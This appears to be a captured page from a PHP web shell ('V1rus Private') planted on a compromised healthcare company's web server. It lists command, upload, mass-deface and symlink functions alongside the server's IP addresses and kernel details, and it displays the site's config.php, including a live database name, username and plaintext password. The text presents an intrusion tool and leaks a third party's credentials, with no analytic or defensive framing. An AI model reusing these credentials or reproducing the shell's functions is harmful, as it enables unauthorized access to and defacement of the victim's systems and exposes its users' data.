V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
www
/
exam
/
Viewing: config.php
<?php // Start output buffering ob_start(); // Suppress error reporting for display (optional, but recommended in this case) error_reporting(E_ALL & ~E_NOTICE); ini_set('display_errors', 0); // Include the necessary files require_once 'config.php'; require_once 'tcpdf/tcpdf.php'; // Now, create the PDF $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false); session_start(); define('DB_HOST', 'localhost'); define('DB_NAME', 'aerosoft_exam'); define('DB_USER', 'aerosoft_exam_user'); define('DB_PASS', 'Hello@1201'); try { $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch(PDOException $e) { die("Connection failed: " . $e->getMessage()); } function sanitize($data) { return htmlspecialchars(strip_tags(trim($data))); } ?>
Coded With 💗 by
HanzOFC